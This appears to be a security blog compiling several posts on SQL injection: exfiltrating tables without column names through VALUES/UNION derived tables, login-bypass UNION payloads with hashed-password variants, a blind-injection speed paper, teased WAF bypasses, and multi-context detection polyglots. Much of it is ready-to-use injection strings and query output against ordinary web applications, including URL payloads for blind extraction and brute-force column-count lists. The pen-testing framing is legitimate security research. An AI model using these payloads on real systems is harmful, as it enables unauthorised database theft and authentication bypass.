Exploiting SQL injections without knowing the column names of the tables for faster data exfiltration

(7 min read)

In the exploitation phase after finding SQL injection vulnerabilities, attackers usually exfiltrate all the information stored in the database. But first, in order to exfiltrate all of the information stored in the tables of the DB, the attacker must previously know the column names that compose those tables.

This post will show a method for extracting all the information contained in a table/view without having to know the name of any of its columns at all.

This method can significantly speed-up the exfiltration process, specially in situations where information must be extracted one character at a time as with blind injections. See the following query done in a fresh install of MySQL:

mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
|     3542 |
+----------+
1 row in set (0.12 sec)

This means that a total of 3,542 column names must be extracted in order to be able to craft the queries that will exfiltrate the tables. Next, see the total of all the characters that must be extracted:

mysql> select sum(length(column_name)) from information_schema.columns;
+--------------------------+
| sum(length(column_name)) |
+--------------------------+
|                    47026 |
+--------------------------+
1 row in set (0.02 sec)

There is a total of 47 thousand characters that must be extracted to find all the column names in a fresh MySQL install. This means that even when using an optimized high speed method for blind sql injections such as duality (4-5 requests per character), it would take an average of 188,104 requests to get all the column names.

A database found in a corporate or industrial environment can be extremely larger.

So now, with the method described in this post, around 188,000 requests are going to be avoided and the tables and views will be exfiltrated right away.

Let users be the table that is going to be exfiltrated:

mysql> select * from users;
+----+----------------+----------------------------------+--------------------------+
| id | user           | password                         | email                    |
+----+----------------+----------------------------------+--------------------------+
|  1 | admin          | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com            |
|  2 | napster        | a55a2ac81471922949a48cf45f7fe271 | napster@lab.com          |
|  3 | axl            | d52d3013075fe1078c47236cdc338422 | axl@lab.com              |
|  4 | zero-cool      | 35188f8ec0079224b1c35266ac715c99 | zero-cool@lab.com        |
|  5 | acid-burn      | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com        |
|  6 | phreak         | ab1cd5ef2a0e1cd8bece87dcb9bc1c1d | phreak@lab.com           |
|  7 | cereal-killer  | fe6ee6ea072a958bc77c425c48db9b6a | cereal-killer@lab.com    |
|  8 | lord-nikon     | cd69b4957f06cd818d7bf3d61980e291 | lord-nikon@lab.com       |
|  9 | crash-override | 0833dd29368e07bbdcf85ea2707c5dc0 | crash-override@lab.com |
| 10 | neo            | 6bed9f1fb7f15e4892df4616fa820dec | neo@lab.com              |
+----+----------------+----------------------------------+--------------------------+
10 rows in set (0.00 sec)

The first instruction that you need to know for this exfiltration method is VALUES. VALUES will let you return a row whose values are explicitly defined in the query:

mysql> values row(0,0,0);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
|        0 |        0 |        0 |
+----------+----------+----------+
1 row in set (0.00 sec)

As you can see, this query returns one row composed of three columns whose values were defined in the query itself (0, 0, 0). This is convenient because the column names default to column_0, column_1, ..., column_n.

Now it is only a matter of using UNION to append the desired table to the row that has the default column names:

mysql> values row(0,0,0) union select * from users;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

mysql> values row(0,0,0,0) union select * from users;
+----------+----------------+----------------------------------+------------------------+
| column_0 | column_1       | column_2                         | column_3               |
+----------+----------------+----------------------------------+------------------------+
|        0 | 0              | 0                                | 0                      |
|        1 | admin          | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com          |
|        2 | napster        | a55a2ac81471922949a48cf45f7fe271 | napster@lab.com        |
|        3 | axl            | d52d3013075fe1078c47236cdc338422 | axl@lab.com            |
|        4 | zero-cool      | 35188f8ec0079224b1c35266ac715c99 | zero-cool@lab.com      |
|        5 | acid-burn      | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com      |
|        6 | phreak         | ab1cd5ef2a0e1cd8bece87dcb9bc1c1d | phreak@lab.com         |
|        7 | cereal-killer  | fe6ee6ea072a958bc77c425c48db9b6a | cereal-killer@lab.com  |
|        8 | lord-nikon     | cd69b4957f06cd818d7bf3d61980e291 | lord-nikon@lab.com     |
|        9 | crash-override | 0833dd29368e07bbdcf85ea2707c5dc0 | crash-override@lab.com |
|       10 | neo            | 6bed9f1fb7f15e4892df4616fa820dec | neo@lab.com            |
+----------+----------------+----------------------------------+------------------------+


You can use LIMIT to return only one row.

mysql> values row(0,0,0,0) union select * from users limit 1,1;
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2                         | column_3      |
+----------+----------+----------------------------------+---------------+
|        1 | admin    | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+----------+----------+----------------------------------+---------------+
1 row in set (0.00 sec)

As a result now you have a little table composed of the first row you wish to extract. It is possible to query this table by using it as a derived table (the AS keyword must be used to assign a name to the derived table):

mysql> select column_2 from (values row(0,0,0,0) union select * from users limit 1,1) AS t;
+----------------------------------+
| column_2                         |
+----------------------------------+
| 21232f297a57a5a743894a0e4a801fc3 |
+----------------------------------+
1 row in set (0.00 sec)

Now you are querying for specific columns by using the default names. You can also use the default names for testing conditions. These queries would look something like this in a GET parameter vulnerable to SQL injection:

/vulnerable?sqli=1' AND (select substring(column_2, 1, 1) FROM (values row(0,0,0,0) union select * from users limit 1,1) AS t) = '1
FALSE response

/vulnerable?sqli=1' AND (select substring(column_2, 1, 1) FROM (values row(0,0,0,0) union select * from users limit 1,1) AS t) = '2
TRUE response

This attack may vary from one DBMS to another. For instance, in PostgreSQL the default names do not have underscores and the ROW keyword doesn't have to be used:

lab=# values (0,0,0,0);
column1 | column2 | column3 | column4  
---------+---------+---------+---------
      0 |       0 |       0 |       0
(1 row)

However, in PostgreSQL the data types of each column must match the data types of the rows returned by the UNION clause, otherwise you get an error:

lab=# values (NULL, NULL, NULL, NULL) union select * from users limit 1;
ERROR:  UNION types text and integer cannot be matched
LINE 1: values (NULL, NULL, NULL, NULL) union select * from users li...
                                                    ^

You can solve this by using SELECT instead of VALUES:

lab=# select NULL, NULL, NULL, NULL union select * from users limit 1 offset 1;
?column? | ?column?  |             ?column?             |     ?column?       
----------+-----------+----------------------------------+-------------------
       5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com
(1 row)

In order to avoid getting duplicate column names it is possible to use column aliases for defining custom default names:

lab=# select NULL as custom1, NULL as custom2, NULL as custom3, NULL as custom4 union select * from users limit 1 offset 1;
custom1 |  custom2  |             custom3              |      custom4       
---------+-----------+----------------------------------+-------------------
      5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com
(1 row)

So just to conclude, column aliases can also be used with MySQL so there is really no need to use VALUES unless you want to shorten your injection:

mysql> select 0 as custom1, 0 as custom2, 0 as custom3, 0 as custom4 union select * from users limit 1,1;
+---------+---------+----------------------------------+---------------+
| custom1 | custom2 | custom3                          | custom4       |
+---------+---------+----------------------------------+---------------+
|       1 | admin   | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+---------+---------+----------------------------------+---------------+
1 row in set (0.01 sec)

This method can also be useful when information_schema cannot be read because of lack of permissions or because there is a WAF blocking that keyword. Guessing some table names can be much easier than guessing all the columns in a given table.

And that's it for now. Happy hacking.

More Methods For Breaking Web Logins

Most of the time, logins are not being properly tested against SQL injection and critical security vulnerabilities could be left undetected. It is not admissible to miss any security vulnerability during a pen-test because somebody else might find the bug and exploit it.

The objective of this post is to illustrate additional methods for finding SQL injection vulnerabilities, because the traditional ways sometimes fail to detect all the vulnerabilities.

So far, I have found 3 web applications vulnerable to the attack explained in this post.

When probing the security of web logins, the following injections are always used:

' or '1'='1
" or "1"="1

Very often, only these injections are tested and if they fail it is assumed that the login is not vulnerable. However, there is a vast amount of other types of injections that should also be tried to correctly determine if the login is vulnerable or not.

Imagine that the login code resembles to the following:

Query:
$result = "SELECT password FROM users WHERE login='$login'
";

Then on the server-side:
if ($result['password'] == $_POST['password'])  Access_Granted();

Even if the login is vulnerable, traditional ' or 1='1 injections will fail to bypass it: even though the injection works and user data is being returned, the attacker still needs to know the correct password to log-in.

The injection for testing the login should now be:
' AND 0 UNION SELECT 'letmein' as password where '1

Thus the attacker can login with whatever password he chooses.

The process of exploiting these types of login requires a big amount of work and can be time consuming, consider the following vulnerable query:

SELECT * FROM users WHERE username='$_POST["username"]';

The asterisk might return dozens of columns and since the number of columns in the UNION query should match, first the number of columns queried should be found:

Brute-force injection:
admin' AND 0 UNION SELECT 1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1,1 AND 'TRUE

admin' AND 0 UNION SELECT 1,1,1,1,1 AND 'TRUE
...
admin' AND 0 UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 AND 'TRUE
....

This can be tedious to brute-force manually specially if the query is trying to retrieve a huge number of columns.

Also, very frequently the password is going to be stored as a cryptographic hash in the database, which means that the password provided in the login form must be hashed too in order to be compared with the original; injections like this should be tried as well:

Hashed password injection:
# MD5 hash
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE

admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99'
, '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99'... AND 'TRUE
...
# SHA1 hash
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE

admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'... AND 'TRUE
....

# SHA-224
admin' AND 0 UNION SELECT 'd63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01','d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01',... AND 'TRUE
# SHA-256
admin' AND 0 UNION SELECT '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8', '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8',... AND 'TRUE
# SHA-384
admin' AND 0 UNION SELECT 'a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7',... AND 'TRUE
# SHA-512
admin' AND 0 UNION SELECT 'b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86',... AND 'TRUE
# Base 64
admin' AND 0 UNION SELECT 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ='... AND 'TRUE

And then all of these injections must be tried with double quotes instead of simple quotes too determine if the login is in fact vulnerable. As far as I know, there are no tools that exploit these type of login logic so I decided to write my own. So far I have found 3 applications that had this security bug and I don't want to miss it in any future security evaluation.

The tool was written in python and it uses Selenium with the Chrome web driver; make sure to install those to get it running.

$ pip install selenium

In the header of the script there is an array containing all the hashing functions tested against the login. You can add more functions such as nested hashes or other cryptographic functions to extend the scope of the security testing.

You can find logincrack.py HERE.

High Speed Methods For Blind SQL Injections

I came to the conclusion that the blind SQL injection techniques we use for data exfiltration are slow, and there is huge room for improvement to make them much faster and efficient.

I spent some time designing new high-speed optimized blind SQL injections and I wrote a paper where I documented all of these techniques. The research got accepted to be presented at various security conferences such as Hackfest Quebec, B-Sides Philly, BugCON Mexico, DragonJAR Colombia and Hack in Paris (which I missed because I was severely jet-lagged and I feel very ashamed to say so).

duality.py, one of these optimized attacks, uses inferential algorithms that request only certain fragments of the information and deduce the missing data through the use of decision-making trees. This method takes an average of 50% less requests than the famous tool sqlmap to exfiltrate information from a database. This and more blind SQL injection techniques are explained in this paper.

For a self-explanatory and condensed version of the paper, you can find the slides of the talk HERE.

If you prefer a thorough explanation, you can find the paper in .txt format HERE.

Bypasses for the some of the most popular WAFs

EDIT: Most of these bypasses have already been patched. Whereas some of the tricks shown in this post can be used to find new bypasses, this will only work on very few WAFs and it will other types of techniques should be use to bypass most of them.

In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled "Our favorite XSS filters and how to attack them". In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it had been a piece of cake.

The conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they could be bypassed.

Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they've become over time. The conclusion is that most of them are still extremely vulnerable. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 5 minutes.

I decided to publish the bypasses because it is actually funny how bad these filters are.

The WAFs that I tested are:

  • Amazon Web Services WAF
  • Cisco Secure WAF
  • Cloudflare Web Application Firewall
  • Citrix Netscaler
  • F5 BIG-IP Advanced WAF
  • Fortinet's Fortiweb WAF
  • Akamai Web Application Firewall
  • Sophos Firewall
  • Incapsula Imperva
  • Broadcom

Click on more to see the bypasses:

(more…)

SQL Injection Detection Optimization

For Black Hat 2013, Roberto Salgado (@LightOS) came up with the idea of optimizing the detection phase of SQL injection vulnerabilities.

Usually, to test if a parameter is vulnerable to SQL injection, the following requests must be performed to find out the context of the injection. It might be between single quotes ('), double quotes (") or with no delimiters at all:

TRUE RESPONSES
-1' or '1'='1
-1" or "1"="1
-1 or 1=0

FALSE RESPONSES
-1' or '1'='0
-1" or "1"="0
-1 or 1=0

LightOS came up with the idea of fusing the three testing vectors. This is the multi-context functional polyglot that works in any of the already three mentioned contexts:

-1 OR 1#"or"'OR''='"="'OR''='

Numeric context:
-1 OR 1#"or"'OR''='"="'OR''='

Double quotation:
-1 OR 1#"or"'OR''='"="'OR''='

Single quotation:
-1 OR 1#"or"'OR''='"="'OR''='

You can find his slides in the following link: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

Mirror: https://nzt-48.org/archive/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

My version of the vector is 7 characters shorter:

-1 or 1#'or"or'"!='!="

Numeric context:
-1 or 1#'or"or'"!='!="

Single quotation:
-1 or 1#'or"or'"!='!="

Double quotation:
-1 or 1#'or"or'"!='!="

I find LightOS's solution to be much more elegant because he used an equality. See if you can make it even shorter.